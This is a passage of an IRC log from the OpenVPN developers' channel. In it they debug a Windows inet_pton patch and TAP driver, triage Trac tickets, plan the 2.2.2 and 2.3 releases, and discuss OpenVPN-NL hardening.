<@cron2> patch is incomplete 12:45 <@mattock> ok 12:46 <@cron2> please change the two lines above the #define inet_ntop() in win32.h to read "int openvpn_inet_pton..." and "const char * openvpn_inet_pton". Missed that part when re-doing the fix. Or just move the two #define lines two lines up, before the "inet_ntop" line 12:46 <@cron2> gah 12:47 <@mattock> just sec 12:47 <@mattock> a 12:48 <@cron2> mattock: will send you a new patch 12:49 <@mattock> just patched it myself, but feel free 12:49 <@cron2> sent 12:50 <@mattock> looks better now 12:51 <@mattock> built and packaged 12:51 <@cron2> good 12:51 <@mattock> I'll copy the installer + tap-driver + openvpn.exe to build.openvpn.net 12:52 <@cron2> I'll download and test the installer then 12:56 <@mattock> ok, here: http://build.openvpn.net/downloads/snapshots/ 12:56 <@cron2> yeah, downloading 12:56 <@mattock> it's the inet-ntop stuff 12:59 <@cron2> meh 12:59 <@mattock> I wonder if I have to install another Win7 64-bit test VM to get rid of the messy driver situation 12:59 <@cron2> the binary starts, but then IPv6 fails 13:00 <@cron2> the replacement functions do not work properly 13:01 <@cron2> I use inet_pton() to ask the system "is this a valid IPv6 address?" and I get back "no!" for everything 13:03 <@mattock> time for a custom IPv6 address verifying function using regular expressions? :D 13:03 <@cron2> nah 13:03 <@cron2> if inet_pton() isn't working, we get more problems in other places 13:04 <@mattock> cron2: do you want to take a stab at fixing this today? 13:05 <@mattock> it seems the official meeting is stub today 13:07 <@cron2> mattock: well, as it seems nobody else is here, let's briefly discuss what we have on the agenda 13:07 <@mattock> ok 13:07 <@mattock> build system? 13:08 <@mattock> I was wondering if Cygwin could be used for (official) Windows builds 13:08 <@mattock> except for TAP-driver building + signing 13:08 <@cron2> you can build the TAP driver on mingw+msys, so I'm sure you can build it on cygwin+mingw64 - you just need the windows ddk/sdk installed 13:09 <@cron2> so it's really up to you (and James) to decide what the official build system should be like - you're the ones that have the nice task of building "official" installers... 13:09 <@mattock> currently windows building is a mess, and visual studio is constantly causing issues 13:09 * cron2 will try to make MSVC builds work, but prefers (by FAR) anything that is gcc-based 13:10 <@mattock> the VS/Python builds works really well now, but having to use the VS C compiler seems to be problematic 13:10 <@mattock> when coding, that is 13:10 <@mattock> or that's my feeling 13:11 <@cron2> it's very strict about things, which is problematic when trying to do portable stuff 13:11 <@mattock> I think we should stick with VS/Python for official builds for 2.3 in any case 13:11 <@mattock> hmm, I wonder if it could be made less strict somehow 13:13 <@mattock> I think I'll try Cygwin builds in the near future to get a feel for them 13:13 <@cron2> I don't think we can decide much here today - needs input from James, testing Cygwin, etc. 13:13 <@mattock> yep 13:14 <@cron2> 2.2.2 release 13:14 <@mattock> ok, so here's the list of tickets per milestone: https://community.openvpn.net/openvpn/report/3 13:14 <@cron2> what we need is a signed + tested tap 9.9 driver 13:14 <@mattock> yep 13:14 <@mattock> and I probably need to reinstall Win7, as the tap-driver behavior is not too encouraging 13:15 <@cron2> ouch, that is a lot of open bugs 13:15 <@cron2> I think we should focus on "tap driver fix", "get xp to work again" and "remove the warning in #147" 13:16 <@mattock> yeah 13:16 <@mattock> some of the bugs are "legacy" (from sf.net bug tracker) 13:17 <@mattock> although many were removed before moving them over, and even after that 13:17 <@mattock> this we can probably manage with a small effort: https://community.openvpn.net/openvpn/ticket/127 13:18 <@cron2> yeah 13:18 <@mattock> for this we need to poke the reporter: https://community.openvpn.net/openvpn/ticket/154 13:18 <@mattock> I'll do it right now 13:20 <@mattock> ah, dazo should get here 13:20 <@mattock> he said he'll be "20-30 minutes late" 13:20 <@mattock> so, I guess he forgot to check "date -u" :) 13:21 <@cron2> patch in your mailbox 13:21 <@cron2> applies on top of "master" (includes previous patch) 13:21 -!- dazo_afk is now known as dazo 13:22 * dazo here now 13:22 <@mattock> hi dazo! 13:22 <@dazo> sorry about the delay 13:22 * dazo catches up on scrollback 13:23 <@mattock> I was afraid the meeting would be a stub 13:23 <@mattock> I mailed james at around 20:20, so far no response 13:24 <@cron2> mattock: could you build a new installer, please? 13:24 <@dazo> regarding build system core for Windows ... I have no problems with moving towards cygwin/msys/mingw/what-ever-its-called .... I see that the TAP driver might need VS, but that's a different issue 13:25 <@cron2> no, not VS, Windows SDK, which is a separate thing from VS 13:25 * cron2 has succeeded in building a tap driver with mingw+msys plus wdk (domake-win) 13:25 <@mattock> james is on a vacation 13:25 <@dazo> ahh! 13:25 <@cron2> mattock: when will he be back? 13:25 <@mattock> good for him, afaik he's been working way too much 13:26 <@mattock> not sure, asked him via email 13:26 <@dazo> okay, then it's even easier ... I thought VS was tightly hooked into these things 13:26 <@dazo> To be honest, I'd really like to get the Windows TAP driver out of the stock OpenVPN stuff ... it's not related to OpenVPN (except it provides a tun/tap device) ... It's the installers task to pull in the needed sub-parts for the overall user experience, in my eyes ... so I'm along with Alon's thoughts here 13:26 <@mattock> cron2: the "patch 4" is borked or something 13:27 <@cron2> mattock: what happens? 13:27 <@cron2> dazo: yeah 13:27 <@dazo> get a OpenVPN MSI for only OpenVPN stuff ... and WinTAP MSI for the TUN/TAP driver ... and the installer ships them both 13:27 * cron2 is with dazo on that. for 2.3 or for 2.4? 13:27 <@cron2> for 2.2.2 we need to stick to what we have 13:27 <@dazo> agreed 13:27 <@dazo> I'd like to see this already for 2.3 13:27 <@mattock> cron2: patch format detection fails (git am), hunks get rejected (patch) 13:28 <@dazo> Not necessarily the first alpha/beta stuff ... but at least for RCs 13:28 <@cron2> meh, this is straight out of "git diff" 13:28 <@dazo> git apply 13:28 <@cron2> mattock: please do git apply :) 13:28 <@dazo> (or patch -p1 if 'git apply' gets grumpy) 13:29 <@cron2> yeah, git am wants mail headers on top, which are not there 13:29 <@dazo> yeah 13:30 <@mattock> git apply failed, patch -p1 worked 13:30 <@mattock> interesting how difficult patching can be :D 13:31 <@dazo> hehe ... git is hyper-sensitive to patches .... which I consider a good thing :) 13:32 <@mattock> building... 13:35 <@mattock> ok, on build now 13:36 <@mattock> http://build.openvpn.net/downloads/snapshots 13:36 <@mattock> *-patch4-* 13:36 <@cron2> installing... 13:38 <@cron2> meh, still fails, with WSAEINVAL 13:39 <@mattock> this is interesting: https://community.openvpn.net/openvpn/ticket/171 13:39 <@cron2> mattock: patch5 on its way to you 13:39 <@mattock> did not realize somebody (James?) had signed the GUI also 13:39 <@mattock> cron2: ok 13:39 <@cron2> indeed, having a signed gui is useful 13:40 <@mattock> I'll fix that, it's trivial 13:41 <@mattock> patching 13:42 <@cron2> oh 13:42 <@cron2> gaaah 13:42 <@cron2> Support for IPv6 addresses using the WSAStringToAddress function was added on Windows XP with Service Pack 1 (SP1) and later. IPv6 must also be installed on the local computer for the WSAStringToAddress function to support IPv6 addresses. 13:42 <@mattock> building 13:43 <@dazo> whoops 13:44 <@dazo> cron2: does that mean that you need to install some extra IPv6 patches for the new TAP driver to work in XP? 13:44 <@cron2> I think my IPv6 failures are just due to "no IPv6 installed on that XP VM" 13:44 <@cron2> just enable it 13:44 <@cron2> netsh interface ipv6 install 13:44 <@cron2> let me re-test 13:44 <@mattock> ok 13:44 <@mattock> let me know if you need the patch5-based installer 13:44 <@mattock> meanwhile I'll skim through all bug reports 13:45 <@cron2> works perfectly :) 13:45 <@cron2> patch4 based, that is 13:45 <@cron2> I'll go back to the last one 13:45 <@cron2> inet-ntop 13:46 <@cron2> that was purely a problem with the XP VM I cloned monday, which - purposely - did not have v6 yet 13:46 <@dazo> just a side related thought .... WinXP has end of support from Microsoft April 8, 2014 ... shall we kill XP support at that time as well? ... will that make things easier for us? 13:46 <@mattock> this might be "works for me": https://community.openvpn.net/openvpn/ticket/68 13:46 <@cron2> dazo: let's keep it for 2.3, and then kill it 13:46 <@mattock> a custom windows build with an issue 13:47 * andj is back 13:47 <@mattock> hi andj! 13:47 <@cron2> mattock: inet-ntop installer works with ipv6 on xp \o/ 13:47 <@mattock> nice! 13:47 <@cron2> also works with small packets 13:47 <@dazo> cron2: fair enough ... as long as building XP binaries doesn't get too complicated .... like what we experienced with TAP driver for Win2k 13:47 <@cron2> (ping -l 1) 13:48 <@dazo> cron2: so, IPv6 needs to be enabled for the new TAP driver to function? 13:48 <@dazo> (the netsh stuff) 13:48 <@cron2> dazo: no 13:48 <@andj> how's the meeting going? and any news on blockers for the 2.3 alpha? :) 13:48 <@cron2> that's unrelated to the tap driver, that's needed to make inet_pton() accept IPv6 addresses 13:48 <@cron2> dazo: we can build XP-compatible binaries now :-) 13:48 <@dazo> andj: I'm late in as well, but I think it's 2.2.2 stuff which is being solved yet :) 13:48 <@dazo> ack! 13:49 <@cron2> dazo: actually it's fixing #169 13:49 <@mattock> it'd be great if the installer would work on 64-bit Win7, too :) 13:49 <@mattock> nobody around with test-mode win7 64-bit around? 13:49 <@mattock> oops 13:50 <@andj> mattock: I have one at work, but not here I'm afraid :) 13:50 <@mattock> andj: could you smoketest this installer there: http://build.openvpn.net/downloads/snapshots/openvpn-2.3-openvpn-inet-ntop-install.exe 13:51 <@andj> yes, but that'll be somewhere tomorrow 13:51 <@mattock> my win7 seems to reject it and I'm not sure if it's because windows is borked or not 13:51 <@mattock> that's fine 13:51 <@cron2> patch (0001-work-around-inet_ntop-inet_pton-problems-for-MSVC-bu.patch 13:51 <@mattock> I'd rather not reinstall my win7 VM just to verify that 13:51 <@cron2> ) sent to list 13:52 <@andj> mattock: I'll see what I can do, I've got a VM image with a win 2008R2 in test mode lying around somewhere :) 13:53 <@mattock> andj: that'd be great! 13:53 <@andj> so it isn't win7 as promised earlier :) 13:54 <@cron2> so - coming back to 2.2.2 release 13:55 <@cron2> do we know when James will come back? (Or is there anyone else who can sign drivers)? 13:55 <@cron2> do I need a signed driver on win7/32? 13:56 <@mattock> cron2: he hasn't responded yet, so no 13:56 <@mattock> regarding "anybody else"... no, not atm 13:56 <@mattock> for 32-bit Windows signing is not mandatory 13:56 <@cron2> ok, let me try win7/32 13:57 <@dazo> cron2: looking at the patch you sent ... just wondering, you #define inet_* -> openvpn_inet_* .... but you declare inet_* functions in socket.c ... shouldn't they be openvpn_inet_*? 13:57 <@cron2> they get renamed on declaration 13:57 <@cron2> macros also apply there :-) 13:58 <@cron2> if you think this is not clean, I'll change that as well (it was that way before I put my hands on it, so I didn't want to change too much) 13:59 <@dazo> well, the windows code is pretty nasty spaghetti for me ... so I might lack the overall understanding here now 13:59 <@cron2> yep, tap 9.8 fails on "ping -l 1 -4 ..." 13:59 <@cron2> let's try tap 9.9 14:00 <@dazo> because I don't see where the openvpn_inet_ntop() function is ... I see it is declared in win32.h but not where the "contents" of that function is ... 14:00 <@cron2> socket.c 14:00 <@cron2> search for "just" inet_ntop() and inet_pton() 14:01 <@cron2> but since the declaration is after the #define, the function gets renamed right away 14:01 <@dazo> there is$ git grep openvpn_inet_ntop | wc -l 14:01 <@dazo> 0 14:01 <@cron2> 21:00 <@cron2> search for "just" inet_ntop() and inet_pton() 14:01 <@cron2> 21:00 <@cron2> search for "just" inet_ntop() and inet_pton() 14:01 <@cron2> 21:00 <@cron2> search for "just" inet_ntop() and inet_pton() 14:01 <@dazo> (this is before this patch) 14:02 <@cron2> 21:00 <@cron2> search for "just" inet_ntop() and inet_pton() 14:02 <@cron2> socket.c 14:02 <@dazo> yeah ... but this define then looks strange: #define inet_ntop(af,src,dst,size) openvpn_inet_ntop(af,src,dst,size) 14:02 <@dazo> as it defines something known to something unknown 14:03 * cron2 gives dazo a mug of coffee, and asks him to re-read what I wrote 14:05 <@cron2> ok, topic switch: tap driver 9.9 works for me on win7/32, and "ping -l 1 -4 ..." is fixed, so this is fixing the small-ipv4-packets problem for good 14:05 <@cron2> topic switch back 14:05 <@cron2> dazo: if you think it's more clean, we can rename the inet_ntop and inet_pton functions in socket.c to openvpn_inet_ntop and openvpn_inet_pton just fine. I just didn't do that (yet) since the #define will take care of this anyway. 14:06 <@mattock> that would probably reduce some confusion 14:06 <@dazo> cron2: I'm just quite tired these days, so I'm trying to see what you see ... but I don't see it yet ... I'm applying the patch to see how things looks like then 14:06 <@cron2> dazo: socket.c has a function "inet_ntop()" 14:06 <@cron2> it includes something that includes win32.h 14:07 <@dazo> cron2: it might be cleaner to avoid name confusion like this ... by prefixing our own "versions" of it 14:07 <@cron2> so when the compiler reads socket.c, the #define from win32.h is active, and the preprocessor will change it to openvpn_inet_ntop() 14:07 <@cron2> ok 14:07 * cron2 goes re-spin the patch 14:11 <@cron2> sent 14:11 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 14:12 <@cron2> mattock: you're taking notes what we need to fix for 2.2.2? 14:12 <@mattock> not really, but we should put that stuff to trac 14:13 <@mattock> and we got 6 trac tickets already for 2.2.2 14:13 <@mattock> anything else besides those? 14:13 <@cron2> which ones are the 2.2.2 ones? lost track 14:14 <@mattock> just a sec 14:14 <@mattock> https://community.openvpn.net/openvpn/report/3 14:14 <@mattock> scroll back to the bottom 14:14 <@mattock> and there's more on the next page 14:14 <@cron2> #126 should be fixed now, as soon as we have a signed tap driver 14:14 <@mattock> I've been reviewing the bug reports and there are quite a few that could probably closed 14:15 <@cron2> #147 is something I wanted to look into 14:16 <@dazo> #126 I believe will be closed now, with the "small packet fix" from cron2 ... #147 and #171 are "outstanding" ... #127, I'd say we either fix quickly before release, or postpone it again 14:16 <@cron2> #154 is hard to fix without configs 14:16 <@dazo> yeah, I wonder if that's a firewall issue, not openvpn issue 14:16 <@mattock> dazo: quick fix sounds good 14:17 <@cron2> ah, indeed 14:17 <@dazo> #127 isn't that important either 14:17 <@cron2> "not having client-to-client in the config" just translates to "all packets traverse the tun adaptor" 14:17 <@cron2> so if there's no firewall on the server host, there's nothing to prevent client-to-client config - so this might be a misunderstanding by the user 14:17 <@dazo> exactly 14:18 <@mattock> close the bug report? 14:19 <@cron2> I've added a comment explaining this, and since he never sent configs, yes, close 14:19 <@cron2> well 14:19 <@cron2> trac is slow today in accepting comments 14:19 <@mattock> I noticed the same 14:19 <@mattock> it seems to accept the comments and changes, but hangs forever 14:19 <@mattock> if you stop and reload, you'll see the changes 14:19 <@mattock> not sure if I should be worried... 14:21 <@mattock> seems like google bot is crawling the site 14:21 <@mattock> the damn slow Trac git repository, to be exact 14:21 <@mattock> so no worries 14:22 <@mattock> should we discuss 2.3 briefly? 14:23 <@dazo> please, lets do that :) 14:24 <@andj> I'm interested :) 14:24 <@mattock> so, we have the ticket list here: https://community.openvpn.net/openvpn/report/3 14:24 <@mattock> bottom of the page 14:24 <@cron2> I'm listening, but I feel a bit exhausted 14:24 <@mattock> is that up-to-date? 14:25 <@dazo> pretty much 14:25 <@dazo> I did go through a little while ago, where I cleaned up a bit 14:27 <@mattock> what's our 2.3 schedule? 14:27 <@dazo> screwed up? 14:27 <@mattock> the original schedule went out of the door a while back :P 14:27 <@mattock> yeah 14:28 <@cron2> I want to do more platform cleanups before 2.3 14:28 <@mattock> I would postpone any major build system changes to post-2.3 period 14:28 <@cron2> mattock: +1 14:28 <@mattock> there's "enough stuff" there already 14:29 <@cron2> let's aim for early feb 2012 for a first 2.3 beta 14:29 <@dazo> yeah, that sounds reasonable 14:30 <@mattock> #78 sounds like a more generic problem with <connection> profiles 14:30 <@mattock> I recall Jason Haar complaining (rightly) about those in another context 14:30 <@mattock> I also recall that was discussed a long while ago 14:31 <@dazo> yeah' 14:31 <@mattock> can we/should we fix this in 2.3? 14:32 <@mattock> we can always make new releases if we feel like it :) 14:32 <@dazo> Yeah,I'm reluctant to say "yes, lets fix it!" ... as we have quite some things which needs to be looked at our table 14:33 <@dazo> but I'm also that pragmatic that if people don't whine about stuff that often ... is it that needed to fix such stuff urgently? 14:33 <@dazo> #78 has been uncommented for 10 months 14:34 <@dazo> (we probably need some bug vote system) 14:34 <@mattock> that'd help 14:34 <@mattock> then we'd need somebody to fix the upvoted bugs :) 14:34 <@mattock> well, better to fix upvoted bugs than bugs nobody really cares about 14:35 <@dazo> exactly 14:35 <@mattock> #110 would be nice to have, but requires some Windows service knowledge 14:35 <@dazo> I don't mind letting #78 slip 2.3 ... if it gets noisy, let's pull it into 2.4 or 2.3.x if urgent 14:35 <@mattock> and nobody has touched the OpenVPN service code in many, many years 14:36 <@mattock> #78 is on the border of "bug fix" and "new feature" 14:36 <@dazo> agreed ... #110 would be nice to fix ... is that something d12fk could look at? 14:36 <@mattock> not sure which one it is 14:36 <@dazo> considering the few complaints about it .... -> feature 14:38 <@mattock> added milestone 2.4 14:38 <@mattock> moving #78 there 14:38 <@dazo> lets see what happens then :) 14:40 <@mattock> let's see what else... 14:41 <@mattock> #153 is easy fix 14:41 <@mattock> I'll do it 14:41 <@mattock> #151 and #152 should be doable if 2.3 comes out around Christmas 14:42 <@mattock> dazo: you fixed #34? 14:42 * dazo looks 14:43 <@cron2> that's actually a different one, and I'm not sure I understand this 14:43 <@cron2> this is more an installer issue than a openvpn.exe runtime thing 14:43 <@dazo> it's requested that OpenVPN installation does not update the environment table with paths for openvpn/openssl binaries 14:44 <@dazo> which might make easy-rsa on windows explode when it doesn't find openssl.exe 14:44 <@mattock> ah, read it too quickly 14:45 <@mattock> yes, setpath.nsi does that magic 14:45 <@mattock> I can probably fix this easily 14:46 <@dazo> if we can avoid updating environment variables, that'd be the very best ... if not easy, let's close it 14:46 <@dazo> it's not a high profile bug, I believe 14:48 <@mattock> well, no-one else has commented on the bug report, so it probably affects a limited subset of users 14:50 <@mattock> #73 should be easy to fix, simply print out a warning if ccd dir can't be opened 14:50 * cron2 calls it a day for today. wife is starting to get annoyed 14:50 <@mattock> what about #106? 14:50 <@mattock> cron2: that's always bad :) 14:51 <@mattock> see you later 14:51 <@dazo> #73 should be fixed, I believe ... not sure though 14:54 <@mattock> did not find anything from git logs 14:55 <@dazo> I know I wrote some patches which did a lot of file path checks 14:55 <@dazo> hmmm ... maybe it slipped my own patch queue ... 14:56 <@mattock> ok, let's not close it yet, then 14:56 <@mattock> then we got two more: https://community.openvpn.net/openvpn/ticket/61 14:56 <@mattock> https://community.openvpn.net/openvpn/ticket/106 14:57 <@mattock> #61 is being handled by cron2 14:58 <@dazo> that might be another pebkac, unless cron2 have discovered something potential ... could be it has been solved .... no response in 14 months, might indicate so 14:59 <@mattock> in win32.c: fp = fopen ("c:\\windows\\system32\\route.exe", "rb"); 15:00 <@mattock> also a couple more in the same file 15:00 <@dazo> oh crap 15:01 <@dazo> well, I only see that one when greping for "c:\" 15:02 <@mattock> grep -irn "c...windows" * 15:03 <@mattock> gives three matches in win32.c 15:03 <@dazo> the one on 108 and 877, I don't dare to touch 15:03 <@dazo> but 89, must be fixed 15:04 <@dazo> 108 and 877 just sets some environment variables, so they're "safer" 15:05 <@mattock> mkay, so we're more or less done with the 2.2.1 and 2.3 TODO review 15:05 <@mattock> shall we call it a day, I'm getting tired 15:05 <@dazo> yeah, lets do that 15:05 <@mattock> nice! 15:06 <@mattock> I hope we get signed TAP-drivers soon, so that 2.2.2 can be released 15:06 <@mattock> and I think 2.3 in early January is fully doable 15:06 <@mattock> what do you think? 15:07 <+krzie> windows tap device got changed again? 15:07 <@mattock> krzie: a bugfix 15:08 <@dazo> krzie: small packets on tap driver doesn't go through 15:08 <+krzie> ahh good to know 15:09 <@dazo> yeah, cron2 got it fixed, and have done some quick tests ... all looking good 15:09 <@andj> 2.3 in early januari: that would be a beta? 15:10 <@mattock> signed drivers would allow us to publish a really usable "beta" of 2.2.2 15:10 <@dazo> I think he meant early february ... but yeah, I'd say beta 15:10 <@dazo> (or alpha, if we're not confident enough) 15:10 <@andj> cool 15:11 <@mattock> I meant "first 2.3 alpha in early January" 15:11 <@dazo> mattock: do we really need to go through betas for minor release? 15:11 <@dazo> (2.2.2) 15:11 <@mattock> not really 15:11 <@mattock> but a preview 15:11 <+krzie> whoa 2.3 that soon? 2.3 gets full ipv6 right? 15:11 <@dazo> yeah 15:11 <+krzie> you guys are badass 15:11 <+krzie> ^5 15:12 <@dazo> that "soon", our initial idea would have been to have the first alphas already released ... but we screwed those plans :) 15:12 <@mattock> I don't trust my Windows test boxes anymore, especially when it comes to TAP-drivers :) 15:12 <@mattock> yeah, I think the original release date was last September 15:12 <+krzie> its still impressive ;] 15:12 <@mattock> krzie: if it holds together :) 15:12 <@dazo> compared to the 2.1 release .... anything is impressive when it comes to dates ... 15:13 <+krzie> lol 2true 15:13 <@mattock> ok, see you later, got to get some rest 15:13 <@dazo> 2.2 came ~1 year after 2.1, which was good ... and we're keeping that pace, which I think is more realistic for our working methods 15:13 <@mattock> I'll try to summarize this tomorrow :D 15:14 <@dazo> mattock: thx a lot! 15:14 <@mattock> np, good that you made it today 15:14 <@mattock> I was afraid the meeting had become a stub :P 15:14 <@dazo> :) 15:15 <@dazo> I'm sorry about that ... but life is just too hectic these days, and now the body is soon going to protest, so I need to calm down too 15:15 <@mattock> one more thing... we should probably quickly review the bug reports with no milestone 15:15 * dazo even feels he is more grumpier than usually 15:15 <@mattock> take your time, we're not really in any hurry 15:15 <@dazo> mattock: yeah, that's a good point ... I've went through most of of them ... and decided to let most of them stay ... some I picked for 2.2.2 and for 2.3, but that's about it 15:16 <@mattock> I look at a few which seemed obsolete 15:16 <@dazo> yeah, some might be 15:16 <@mattock> I'll review the rest and we can discuss them in another meeting or unofficially 15:16 <@mattock> e.g. one bug with linux 2.4 kernels 15:16 * dazo goes to try to look for the missing file access check patch before closing for today 15:16 <@mattock> not confirmed for 2.6 15:16 <@mattock> anyways, until next time... take care guys! 15:17 <@dazo> 2.4 kernels .... uhm ... wontfix ... RHEL3 was the last RHEL release with 2.4 kernel ... and that's EOL 15:31 * dazo just found something nasty in 'master' ... :/ 15:31 <@dazo> ./openvpn --dev tun ..... this behaves bad 15:32 <@andj> that's weird, I use that in some of my tests 15:32 * dazo need to say it again ... he loves 'git bisect' .... 5 more steps 15:32 <@dazo> I'm only starting openvpn with --dev tun ... no more arguments 15:33 <@dazo> it's not a valid config ... but it's something I do to test things some times 15:33 <@andj> ah, ok 15:33 <@dazo> the faulty one spews out: 15:33 <@dazo> Thu Nov 24 22:33:15 2011 read from TUN/TAP : File descriptor in bad state (code=77) 15:33 <@dazo> constantly 15:33 <@dazo> the good one just exits 15:33 <@andj> heading off as well... 15:34 <@dazo> enjoy the evening :) 15:34 <@andj> thanks :) It's 10:30PM here though :) 15:35 <@dazo> here too :) 15:35 <@dazo> hmmm 15:36 * dazo might have found the issue 15:40 <@d12fk> oh there's still ife in the channel 15:40 <@d12fk> w 15:41 <@d12fk> oops =) 17:13 -!- Netsplit *.net <-> *.split quits: @dazo, +krzie, @cron2, @d12fk, +krzee, @andj, jamxNL, chantra, waldner 17:13 -!- Netsplit *.net <-> *.split quits: dguerri, novaflash 17:14 -!- Netsplit over, joins: +krzee, +krzie, chantra, @cron2, @d12fk, @andj, waldner, jamxNL 17:15 -!- Netsplit over, joins: dguerri, novaflash, @dazo 17:30 -!- novaflash is now known as novaflash_away 17:31 -!- dazo is now known as dazo_afk --- Day changed Fri Nov 25 2011 02:19 <@cron2> d12fk: seems you killed what was left 03:22 <@mattock> trac still playing tricks... need to do something 04:13 -!- novaflash_away is now known as novaflash 04:21 -!- dazo_afk is now known as dazo 04:58 * dazo just resent a v2 patch based on cron2's comment :) 05:44 <@andj> mattock: the machine I thought I had, isn't here anymore :( 05:45 <@andj> It seems to have stopped booting, I'll look around for something else 06:01 <@dazo> cron2: have you seen this one? http://goaway.spreadshirt.no/the-internet-is-full-go-away-A18193411/customize/color/2 06:20 <@dazo> reading slashdot comments on OpenVPN-NL ... "I was just thinking that, from Dutch govenment's point of view, OpenVPN must be extraordinary awesome while used in combination with Diginotar-signed certs!" 06:20 <@dazo> :-P 07:07 <@andj> yeah, saw that one :) 07:07 <@andj> the slashdot effect is quite limited here 07:14 <@dazo> but it's a lot of good reports from OpenVPN users there ...which is really cool! 07:17 <@andj> yeah, some criticism of the OpenSSL/PolarSSL choice 07:17 <@andj> on twitter as well 07:17 <@dazo> nice! 07:18 <@dazo> well, SSL libraries are just as religious as the version control, OS, emacs/vi, etc,etc 07:18 <@ecrist> yeah 07:25 <@andj> It's a difference in goals as well: te goal for openvpn-nl was auditability 07:25 <@andj> *the 07:25 <@dazo> yeah 07:26 <@andj> And I can see people in the embedded world liking it as well 07:26 <@dazo> definitely! openssl in openwrt kills wrt54gl completely nowadays 07:28 <@dazo> d12fk: japanese translation for you on the -devel ML! :) 07:31 <@dazo> ecrist: where is vpnHelper? 07:31 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 2 voices, 6 normal] 07:31 <@ecrist> odd 07:31 <@ecrist> let me got get that lazy POS 07:31 <@dazo> :) 07:34 <@ecrist> ruh roh, the community server is linked to on /. 07:34 <@dazo> that can get interesting .... 07:34 <@ecrist> indeed 07:34 <@ecrist> http://tech.slashdot.org/story/11/11/24/1827251/dutch-government-officially-trusts-openvpn-nl 07:35 <@dazo> so is cron2's box as well ... 07:35 <@ecrist> fox-it? 07:35 <@cron2> dazo: wus? 07:35 <@dazo> cron2: somebody made a comment on /. regarding to OpenVPN and IPv6 ... linking to your stuff there 07:36 <@cron2> oh 07:36 <@cron2> now that's going to be intersting:) 07:36 <@dazo> :) 07:36 <@dazo> so far, it's pretty calm on /. 07:37 <@ecrist> which site is yours, cron2? 07:38 <@dazo> greenie 07:38 <@cron2> 172 hits today 07:38 <@cron2> wow :) 07:38 * dazo stops his script .... 07:38 <@ecrist> lol 07:38 <@dazo> :-P 07:39 <@cron2> ... and just now the machine seems to have crashed. whut. 07:39 <@cron2> nah. that's master of deseaster playing havoc with power and/or switch infrastructure in the datacenter 07:40 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:40 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:43 <@andj> it's been a very quiet slashdotting here 07:43 <@ecrist> and the community box isn't exactly busy 07:43 <@ecrist> top - 05:43:45 up 14 days, 19:06, 3 users, load average: 0.43, 0.29, 0.21 07:45 * ecrist wonders if there's an openvpn-nl port for freebsd yet 07:45 <@ecrist> is the -nl stuff just an ifdef, or a configure option? 07:46 <@dazo> ecrist: it needs to be pre-compiled by fox-it, as they're certified to distribute the supported version (in binary form) 07:46 <@dazo> (even though they distribute the unsupported source code as well) 07:46 <@ecrist> huh 07:47 <@dazo> governmental stuff ... don't trust users doesn't tweak the certified version 07:57 <@ecrist> not sure why vpnHelper left the channel, seems stable now, though. 07:58 <@mattock> summary away 08:05 <@mattock> poked jjo regarding "IPV6_RECVPKTINFO vs. IPV6_PKTINFO" patch 08:06 <+krzee> vpnHelper left cause he had too much turkey 08:10 <@mattock> poor vpnHelper... gorged himself 08:21 <@ecrist> heh 09:04 <@andj> ecrist: it's a couple of ifdefs, and the whole polarssl thing 09:04 <@andj> and the secure distribution channel 09:05 <@andj> + all of the documentation patches you've seen 09:05 <@andj> come 2.3 most of the codebase will be the same 09:05 <@andj> there's a few hardening patches that aren't really of interest to the community 09:05 <@andj> I think I've posted them here at some point 09:05 <@andj> in the past 09:06 <@andj> Think it's mostly don't shoot yourself in the foot stuff: you can't choose null crypto anymore, the number of algorithms is severly limited, etc 09:08 <@dazo> andj: what about to pull in the "no null crypto" patches ... but with some ./configure way to enable-null-crypto, for those who wants that support 09:09 * dazo honestly struggles to see the point of VPN without crypto "out-of-the-box" 09:09 <@dazo> (for performance testing, analysing, debugging, it can be useful ... but not as a default feature) 09:11 <@cron2> well, VPN doesn't need to be encrpyted, as long as it gets packets transported between private networks that would otherwise not be reachable... 09:11 <@cron2> or use it to get IPv6 support to mobile endpoints, or whatever 09:11 <@cron2> ... but then, since modern CPUs are so fast, having the crypto in there is no burden and has uses :-) 09:12 <@dazo> yeah, but thtat's a VPN without the P 09:12 <@cron2> well, "P" as in "private", not in "privacy" - it's a virtual link, just like a "private network" consisting of leased lines between locations... 09:13 <@dazo> ack 09:13 <@cron2> but yeah, I'n not argueing the point, I use ssh all day so I like crypto :) 09:13 <@dazo> :) 09:18 <@dazo> cron2: did you notice my v2 patch to the ML today? 09:19 <@dazo> v2 of "Fix bug after removing Linux 2.2 support" 09:19 <@andj> dazo: if there's renewed interest I can get the patches out there, perhaps for a contrib dir or something :) 09:19 <@andj> last time I asked the response was a tad underwhelming :) 09:20 <@dazo> andj: ahh, well, the no-crypto I see good getting upstream as well (as long as it is configurable) ... the other hardening patches fits well into a contrib dir 09:21 <@andj> I heard an interesting use case for an unencrypted tunnel, where someone was forwarding TV livestreams to his holiday home in a foreign country 09:21 <@dazo> hehe ... well, I've done that as well, but I used encryption too :) 09:22 <@andj> supposedly it's quite difficult to get ice skating livestreams in France :) 09:22 <@dazo> and considering much of the Norwegian internet traffic passes Sweden, which does quite some logging of traffic, I found it safer :) 09:23 <@cron2> dazo: yes, saw the patch. But I think you're getting greedy, you already got one ACK today! :-) 09:23 <@dazo> LOL 09:23 <@andj> :) 09:23 * dazo wonders if there's some un-ack'd patches from cron2 on the ML he can poke on again :-P 09:23 <@cron2> yes, the windows thingie from yesterday, which is also at v2 now :) 09:24 <@dazo> ahh! for some reason that's in my inbox not my openvpn-devel folder, so I tend to forget those patches :/ 09:25 <@cron2> what does TUNSETIFF do? 09:25 <@cron2> and under which conditions can it fail? 09:25 <@dazo> usually permissions, I presume 09:26 <@dazo> the whole ioctl() crap is a big trainwreck, where it is difficult to find the right docs 09:26 <@cron2> http://backreference.org/2010/03/26/tuntap-interface-tutorial/ 09:26 <@vpnHelper> Title: Tun/Tap interface tutorial « \1 (at backreference.org) 09:27 <@dazo> that's one of the more decent ones I've seen 09:27 <@dazo> waldner does some decent writing! 09:28 <@cron2> ok 09:28 <@cron2> Linux does it differently again from all the BSDs. Never looked at the linux bits yet... 09:29 <@cron2> can we get rid of "#if LINUX_IPV6" here? 09:29 <@dazo> definitely! 09:30 <@cron2> gah, linux read_tun() and write_tun() are mostly identical to all the BSDs that need 4 byte extra for the AFI, 